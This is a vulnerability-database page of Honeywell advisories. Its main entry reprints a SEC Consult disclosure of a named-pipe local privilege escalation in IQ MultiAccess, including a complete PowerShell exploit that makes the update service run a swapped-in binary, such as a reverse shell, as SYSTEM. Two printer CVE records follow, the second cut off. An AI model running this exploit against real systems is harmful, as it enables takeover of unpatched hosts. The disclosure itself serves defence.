Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
258 vulnerabilities by honeywell
GCVE-1988-2026-0433
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
SEC Consult SA-20260923-0 :: Local Privilege Escalation in Honeywell IQ MultiAccess Update Service #CVE-2026-13742
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260923-0 >
=======================================================================
title: Local Privilege Escalation
product: Honeywell IQ MultiAccess Update Service
vulnerable version: IQ V27 & IQ V28
fixed version: IQ V27 SP1 & IQ V28 SP1
CVE number: CVE-2026-13742
impact: high
homepage:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess
found: 2026-03-19
by: J. Kruchem (Office Vienna)
G. Jank (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"IQ MultiAccess is a highly scalable access control software solution suitable
for controlling multiple locations within a company or several companies
within a building complex/business park."
Source:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess
Business recommendation:
------------------------
The vendor provides patched versions which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Local Privilege Escalation (CVE-2026-13742)
Due to a named pipe configured with a NULL DACL a low-privileged user can
use the pipe to communicate with the IQUpdSrv service running as SYSTEM.
When providing specific data over the pipe, arbitrary executables can be
executed with SYSTEM rights.
Proof of concept:
-----------------
1) Local Privilege Escalation (CVE-2026-13742)
The PoC PS-Script connects to the named pipe and sends the following commands:
- SET SERVERIP "127.0.0.1"
- Configure IP. The IP itself is not important because the goal is to timeout the connection.
- SET SERVERPORT "9998"
- SET URL "/SETUPVPS.EXE?ET=10&SILENT=0"
- SET FNAME "C:\Temp\SETUPVPS.EXE"
- Path and filename of the file which should be executed by IQUpdSrv to perform an update.
- If the file is present, C:\Windows\Temp will be used and the behavior can NOT be exploited.
- The file will be created with size 0 bytes.
- DO DOWNLOAD
- IQUpdSrv tries to download the file SETUPVPS.EXE but fails (timeout of ~15 seconds needed).
Then the file C:\Temp\SETUPVPS.EXE will be deleted.
- //Local command: Copy Reverse Shell Server_31337.exe to C:\Temp\SETUPVPS.EXE
- So the file is present even though IQUpdSrv thinks it is deleted.
- DO EXECUTE
- IQUpdSrv starts the SETUPVPS.EXE with SYSTEM rights and connects to your reverse shell listener.
```
<#
.SYNOPSIS
Communicates with named pipe "iqupdsrvpipe" to trigger download + execution of SETUPVPS.EXE
.DESCRIPTION
Sends commands via named pipe → waits → copies temp file to destination (without renaming),
then sends execute command.
Old destination file is removed; old temp file is NOT removed.
.PARAMETER DestFile
Final path where the file should end up
Default: "C:\Temp\SETUPVPS.EXE"
.PARAMETER TempFile
Path where the malicious binary is placed (e.g. Reverse Shell. Will be COPIED to DestFile)
Default: "C:\Temp\_SETUPVPS.EXE"
.PARAMETER ServerIp (can be arbitrary. Works faster if reachable. If not reachable timeout is required)
Default: "127.0.0.1"
.PARAMETER ServerPort (can be arbitrary)
Default: "9998"
.PARAMETER ConnectTimeoutSeconds
Default: 10
.PARAMETER WaitAfterDownloadSeconds
Default: 15
.EXAMPLE
Import-Module .\Invoke-IQExploit.psm1 -Force
Invoke-IQExploit
#>
function Invoke-IQExploit {
[CmdletBinding()]
param(
[string]$DestFile = "C:\Temp\SETUPVPS.EXE",
[string]$TempFile = "C:\Temp\_SETUPVPS.EXE",
[string]$ServerIp = "127.0.0.1",
[string]$ServerPort = "9998",
[int]$ConnectTimeoutSeconds = 10,
[int]$WaitAfterDownloadSeconds = 15
)
$DestFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($DestFile)
$TempFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($TempFile)
Write-Host "`nInvoke-IQExploit started" -ForegroundColor DarkCyan
Write-Host " Final destination : $DestFile"
Write-Host " e.g. Reverse Shell: $TempFile"
Write-Host " Wait after download: $WaitAfterDownloadSeconds seconds"
Write-Host ""
if (Test-Path $DestFile) {
Write-Host "Removing old destination file to prevent execution from C:\Windows\Temp" -ForegroundColor DarkYellow
Remove-Item $DestFile -Force -ErrorAction SilentlyContinue
}
else {
Write-Host "No existing destination file to remove." -ForegroundColor DarkGray
}
$pipe = $null
$sw = $null
try {
Write-Host "Connecting to \\.\pipe\iqupdsrvpipe ..." -ForegroundColor Cyan
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream(".", "iqupdsrvpipe", "InOut")
$pipe.Connect($ConnectTimeoutSeconds * 1000)
if (-not $pipe.IsConnected) {
throw "Pipe connection timeout after $ConnectTimeoutSeconds seconds"
}
Write-Host "Connected." -ForegroundColor Green
$sw = New-Object System.IO.StreamWriter($pipe)
$sw.AutoFlush = $true
$commands = @(
"SET SERVERIP `"$ServerIp`"",
"SET SERVERPORT `"$ServerPort`"",
'SET URL "/SETUPVPS.EXE?ET=10&SILENT=0"',
"SET FNAME `"$DestFile`"",
"DO DOWNLOAD"
)
foreach ($cmd in $commands) {
Write-Host "Sending: $cmd" -ForegroundColor Gray
$sw.WriteLine($cmd)
Start-Sleep -Milliseconds 350
}
Write-Host "`nDownload command sent." -ForegroundColor Yellow
Write-Host "Waiting $WaitAfterDownloadSeconds seconds for file to appear at:" -ForegroundColor Yellow
Write-Host " $TempFile" -ForegroundColor Yellow
Start-Sleep -Seconds $WaitAfterDownloadSeconds
Write-Host "`nWait finished. Checking temp file..." -ForegroundColor Cyan
if (Test-Path $TempFile) {
Write-Host "Temp file found copying to destination" -ForegroundColor Green
Copy-Item -Path $TempFile -Destination $DestFile -Force
Write-Host "Copy completed to $DestFile" -ForegroundColor Green
}
else {
Write-Warning "No Temp file found at: $TempFile"
Write-Warning "Create a binary which should be invoked as SYSTEM at: $TempFile."
}
Write-Host "Sending DO EXECUTE..." -ForegroundColor Cyan
$sw.WriteLine("DO EXECUTE")
Write-Host "Executing $DestFile as SYSTEM." -ForegroundColor Green
}
catch {
Write-Error "Error: $($_.Exception.Message)"
}
finally {
if ($sw) { $sw.Dispose() | Out-Null }
if ($pipe) { $pipe.Dispose() | Out-Null }
Write-Host "`nOperation finished." -ForegroundColor DarkGray
}
}
Export-ModuleMember -Function Invoke-IQExploit
```
Vulnerable / tested versions:
-----------------------------
The following version has been tested and verified to be vulnerable:
* IQ MultiAccess IQ.V27
According to the vendor, the versions V27 as well as V28 before SP1 are affected.
Vendor contact timeline:
------------------------
2026-03-20: Contacting vendor throughsecurity () honeywell com, attaching PGP-encrypted
advisory.
2026-03-20: Vendor responds that they didn't find any POCs and we should resend them.
2026-03-23: Resending PGP-encrypted advisory again.
2026-03-25: Asking of the vendor received the advisory now. Vendor asks to submit the
advisory unencrypted and we send it in clear text. Vendor confirms receipt
now and coordinates internally.
2026-04-21: Asking for status update.
2026-05-22: Vendor responds and will clarify internally.
2026-05-27: Vendor responds that the vulnerability is fixed, provides CVSS score.
2026-05-28: Asking vendor for coordinated release of advisory and list of affected
products.
2026-06-10: Asking for a status update and CVE number.
2026-06-10: PSIRT was waiting on the engineer's response, fix should be included in the
IQ MultiAccess V27 SP1 and V28 SP1, they are working on a release.
2026-06-18: Asking for a status update.
2026-06-18: Vendor is working on the CVE, fix will be available at the end of the month.
Vendor provides CVE JSON for review later that day.
2026-06-19: Suggesting a different CVSS score as confidentiality and integrity impact is high.
2026-06-23: Vendor updated the score and further prepares release.
2026-06-29: Vendor informs us that CVE-2026-13742 has been published.
2026-09-22: Informing vendor about upcoming advisory release and delay during summer absences.
2026-09-23: Release of security advisory
Solution:
---------
The vendor provides patched versions IQ V27 SP1 and IQ V28 SP1.
Furthermore, the vendor provides a security notice SN2026-06-25:
https://www.honeywell.com/content/dam/honcorp/us-en/legal/product-security/hon-sn2026-06-25-01-time%E2%80%91of%E2%80%91use-signature-bypass-in-honeywell-iq-multi-access.pdf
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:http://blog.sec-consult.com
X:https://x.com/sec_consult
EOF J. Kruchem, G. Jank / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | IQ MultiAccess Update Service |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0433 (this record)
- related CVE-2026-13742
{
"containers": {
"cna": {
"affected": [
{
"product": "IQ MultiAccess Update Service",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260923-0 \u003e\n=======================================================================\n title: Local Privilege Escalation\n product: Honeywell IQ MultiAccess Update Service\n\u00a0vulnerable version: IQ V27 \u0026 IQ V28\n fixed version: IQ V27 SP1 \u0026 IQ V28 SP1\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-13742\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-03-19\n by: J. Kruchem (Office Vienna)\n G. Jank (Office Vienna)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"IQ MultiAccess is a highly scalable access control software solution suitable\nfor controlling multiple locations within a company or several companies\nwithin a building complex/business park.\"\n\nSource:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patched versions which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation (CVE-2026-13742)\nDue to a named pipe configured with a NULL DACL a low-privileged user can\nuse the pipe to communicate with the IQUpdSrv service running as SYSTEM.\nWhen providing specific data over the pipe, arbitrary executables can be\nexecuted with SYSTEM rights.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation (CVE-2026-13742)\nThe PoC PS-Script connects to the named pipe and sends the following commands:\n - SET SERVERIP \"127.0.0.1\"\n - Configure IP. The IP itself is not important because the goal is to timeout the connection.\n - SET SERVERPORT \"9998\"\n - SET URL \"/SETUPVPS.EXE?ET=10\u0026SILENT=0\"\n - SET FNAME \"C:\\Temp\\SETUPVPS.EXE\"\n - Path and filename of the file which should be executed by IQUpdSrv to perform an update.\n - If the file is present, C:\\Windows\\Temp will be used and the behavior can NOT be exploited.\n - The file will be created with size 0 bytes.\n - DO DOWNLOAD\n - IQUpdSrv tries to download the file SETUPVPS.EXE but fails (timeout of ~15 seconds needed).\n Then the file C:\\Temp\\SETUPVPS.EXE will be deleted.\n - //Local command: Copy Reverse Shell Server_31337.exe to C:\\Temp\\SETUPVPS.EXE\n - So the file is present even though IQUpdSrv thinks it is deleted.\n - DO EXECUTE\n - IQUpdSrv starts the SETUPVPS.EXE with SYSTEM rights and connects to your reverse shell listener.\n\n\n```\n\u003c#\n.SYNOPSIS\n Communicates with named pipe \"iqupdsrvpipe\" to trigger download + execution of SETUPVPS.EXE\n\n.DESCRIPTION\n Sends commands via named pipe \u2192 waits \u2192 copies temp file to destination (without renaming),\n then sends execute command.\n Old destination file is removed; old temp file is NOT removed.\n\n.PARAMETER DestFile\n Final path where the file should end up\n Default: \"C:\\Temp\\SETUPVPS.EXE\"\n\n.PARAMETER TempFile\n Path where the malicious binary is placed (e.g. Reverse Shell. Will be COPIED to DestFile)\n Default: \"C:\\Temp\\_SETUPVPS.EXE\"\n\n.PARAMETER ServerIp (can be arbitrary. Works faster if reachable. If not reachable timeout is required)\n Default: \"127.0.0.1\"\n\n.PARAMETER ServerPort (can be arbitrary)\n Default: \"9998\"\n\n.PARAMETER ConnectTimeoutSeconds\n Default: 10\n\n.PARAMETER WaitAfterDownloadSeconds\n Default: 15\n\n.EXAMPLE\n Import-Module .\\Invoke-IQExploit.psm1 -Force\n Invoke-IQExploit\n#\u003e\n\nfunction Invoke-IQExploit {\n [CmdletBinding()]\n param(\n [string]$DestFile = \"C:\\Temp\\SETUPVPS.EXE\",\n [string]$TempFile = \"C:\\Temp\\_SETUPVPS.EXE\",\n [string]$ServerIp = \"127.0.0.1\",\n [string]$ServerPort = \"9998\",\n [int]$ConnectTimeoutSeconds = 10,\n [int]$WaitAfterDownloadSeconds = 15\n )\n\n $DestFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($DestFile)\n $TempFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($TempFile)\n\n Write-Host \"`nInvoke-IQExploit started\" -ForegroundColor DarkCyan\n Write-Host \" Final destination : $DestFile\"\n Write-Host \" e.g. Reverse Shell: $TempFile\"\n Write-Host \" Wait after download: $WaitAfterDownloadSeconds seconds\"\n Write-Host \"\"\n\n if (Test-Path $DestFile) {\n Write-Host \"Removing old destination file to prevent execution from C:\\Windows\\Temp\" -ForegroundColor DarkYellow\n Remove-Item $DestFile -Force -ErrorAction SilentlyContinue\n }\n else {\n Write-Host \"No existing destination file to remove.\" -ForegroundColor DarkGray\n }\n\n $pipe = $null\n $sw = $null\n\n try {\n Write-Host \"Connecting to \\\\.\\pipe\\iqupdsrvpipe ...\" -ForegroundColor Cyan\n $pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\".\", \"iqupdsrvpipe\", \"InOut\")\n $pipe.Connect($ConnectTimeoutSeconds * 1000)\n\n if (-not $pipe.IsConnected) {\n throw \"Pipe connection timeout after $ConnectTimeoutSeconds seconds\"\n }\n\n Write-Host \"Connected.\" -ForegroundColor Green\n\n $sw = New-Object System.IO.StreamWriter($pipe)\n $sw.AutoFlush = $true\n\n $commands = @(\n \"SET SERVERIP `\"$ServerIp`\"\",\n \"SET SERVERPORT `\"$ServerPort`\"\",\n \u0027SET URL \"/SETUPVPS.EXE?ET=10\u0026SILENT=0\"\u0027,\n \"SET FNAME `\"$DestFile`\"\",\n \"DO DOWNLOAD\"\n )\n\n foreach ($cmd in $commands) {\n Write-Host \"Sending: $cmd\" -ForegroundColor Gray\n $sw.WriteLine($cmd)\n Start-Sleep -Milliseconds 350\n }\n\n Write-Host \"`nDownload command sent.\" -ForegroundColor Yellow\n Write-Host \"Waiting $WaitAfterDownloadSeconds seconds for file to appear at:\" -ForegroundColor Yellow\n Write-Host \" $TempFile\" -ForegroundColor Yellow\n\n Start-Sleep -Seconds $WaitAfterDownloadSeconds\n\n Write-Host \"`nWait finished. Checking temp file...\" -ForegroundColor Cyan\n\n if (Test-Path $TempFile) {\n Write-Host \"Temp file found copying to destination\" -ForegroundColor Green\n Copy-Item -Path $TempFile -Destination $DestFile -Force\n Write-Host \"Copy completed to $DestFile\" -ForegroundColor Green\n\n }\n else {\n Write-Warning \"No Temp file found at: $TempFile\"\n Write-Warning \"Create a binary which should be invoked as SYSTEM at: $TempFile.\"\n }\n\n Write-Host \"Sending DO EXECUTE...\" -ForegroundColor Cyan\n $sw.WriteLine(\"DO EXECUTE\")\n Write-Host \"Executing $DestFile as SYSTEM.\" -ForegroundColor Green\n\n }\n catch {\n Write-Error \"Error: $($_.Exception.Message)\"\n }\n finally {\n if ($sw) { $sw.Dispose() | Out-Null }\n if ($pipe) { $pipe.Dispose() | Out-Null }\n Write-Host \"`nOperation finished.\" -ForegroundColor DarkGray\n }\n}\n\nExport-ModuleMember -Function Invoke-IQExploit\n```\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has \u00a0been tested and verified to be vulnerable:\n* IQ MultiAccess IQ.V27\n\nAccording to the vendor, the versions V27 as well as V28 before SP1 are affected.\n\n\nVendor contact timeline:\n------------------------\n2026-03-20: Contacting vendor throughsecurity () honeywell com, attaching PGP-encrypted\n advisory.\n2026-03-20: Vendor responds that they didn\u0027t find any POCs and we should resend them.\n2026-03-23: Resending PGP-encrypted advisory again.\n2026-03-25: Asking of the vendor received the advisory now. Vendor asks to submit the\n advisory unencrypted and we send it in clear text. Vendor confirms receipt\n now and coordinates internally.\n2026-04-21: Asking for status update.\n2026-05-22: Vendor responds and will clarify internally.\n2026-05-27: Vendor responds that the vulnerability is fixed, provides CVSS score.\n2026-05-28: Asking vendor for coordinated release of advisory and list of affected\n products.\n2026-06-10: Asking for a status update and CVE number.\n2026-06-10: PSIRT was waiting on the engineer\u0027s response, fix should be included in the\n IQ MultiAccess V27 SP1 and V28 SP1, they are working on a release.\n2026-06-18: Asking for a status update.\n2026-06-18: Vendor is working on the CVE, fix will be available at the end of the month.\n Vendor provides CVE JSON for review later that day.\n2026-06-19: Suggesting a different CVSS score as confidentiality and integrity impact is high.\n2026-06-23: Vendor updated the score and further prepares release.\n2026-06-29: Vendor informs us that CVE-2026-13742 has been published.\n2026-09-22: Informing vendor about upcoming advisory release and delay during summer absences.\n2026-09-23: Release of security advisory\n\n\nSolution:\n---------\nThe vendor provides patched versions IQ V27 SP1 and IQ V28 SP1.\nFurthermore, the vendor provides a security notice SN2026-06-25:\nhttps://www.honeywell.com/content/dam/honcorp/us-en/legal/product-security/hon-sn2026-06-25-01-time%E2%80%91of%E2%80%91use-signature-bypass-in-honeywell-iq-multi-access.pdf\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF J. Kruchem, G. Jank / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:33Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/88"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/88"
},
{
"url": "http://blog.sec-consult.com"
},
{
"url": "https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.honeywell.com/content/dam/honcorp/us-en/legal/product-security/hon-sn2026-06-25-01-time%E2%80%91of%E2%80%91use-signature-bypass-in-honeywell-iq-multi-access.pdf"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/88"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20260923-0 :: Local Privilege Escalation in Honeywell IQ MultiAccess Update Service #CVE-2026-13742",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-13742",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0433",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/88",
"automated": true,
"contentSha256": "c363d09223634c6cfd5f497635a2e252a6b9115387f57e23965e8d9f167c2177",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/88",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-23T08:59:30Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0433"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:33Z",
"dateUpdated": "2026-10-02T04:57:33Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0433"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-13249 (GCVE-0-2026-13249)
Vulnerability from nvd – Published: 2026-09-24 18:24 – Updated: 2026-09-24 18:38
VLAI
EPSS
VEX
Title
Unauthenticated RCE Arbitrary File Upload Honeywell PD45 Industrial Printer version F10.19.010040
Summary
An unauthenticated Remote Code Execution via Arbitrary File Upload vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040, allows upload of attacker controlled files without requiring authentication.
An attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability.
Severity
9.8 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-24 18:37 UTC
CWE
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | PD45 Industrial Printer |
Affected:
F10.19.010040 , < F10.22.030745
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-13249",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-24T18:37:57.888525Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-24T18:38:06.812Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "PD45 Industrial Printer",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "F10.22.030745",
"status": "affected",
"version": "F10.19.010040",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matheus Vianna Silveira"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "An unauthenticated Remote Code Execution via Arbitrary File Upload vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040, allows upload of attacker controlled files without requiring authentication.\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003e\u003cdiv\u003e\u003cdiv\u003eAn attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability.\u003c/div\u003e\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003c/div\u003e"
}
],
"value": "An unauthenticated Remote Code Execution via Arbitrary File Upload vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040, allows upload of attacker controlled files without requiring authentication.\n\n\nAn attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability."
}
],
"impacts": [
{
"capecId": "CAPEC-17",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-17 Using Malicious Files"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing authentication for critical function",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-434",
"description": "CWE-434 Unrestricted upload of file with dangerous type",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper neutralization of special elements used in an OS command (\u0027OS command injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-24T18:24:36.005Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://www.honeywell.com/us/en/legal/product-security#security-notices"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Unauthenticated RCE Arbitrary File Upload Honeywell PD45 Industrial Printer version F10.19.010040",
"x_generator": {
"engine": "Vulnogram 1.0.5"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2026-13249",
"datePublished": "2026-09-24T18:24:36.005Z",
"dateReserved": "2026-06-24T18:04:29.668Z",
"dateUpdated": "2026-09-24T18:38:06.812Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-13248 (GCVE-0-2026-13248)
Vulnerability from nvd – Published: 2026-09-24 18:27 – Updated: 2026-09-24 19:19
VLAI
EPSS
VEX
Title
Authenticated Remote Code Execution via Arbitrary File Write in the Intermec Fingerprint Command Interface
Summary
An Authenticated Remote Code Execution via Arbitrary File Write in the Intermec Fingerprint Command Interface vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040, allows an authenticated user with access to the admin or itadmin account to submit commands written in the Intermec Fingerprint programming language directly to the printer ’s internal command interpreter.
An attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability.
Severity
8.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-24 19:19 UTC
CWE
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | PD45 Industrial Printer |
Affected:
F10.19.010040 , < F10.22.030745
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-13248",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-24T19:19:35.275464Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-24T19:19:53.714Z",
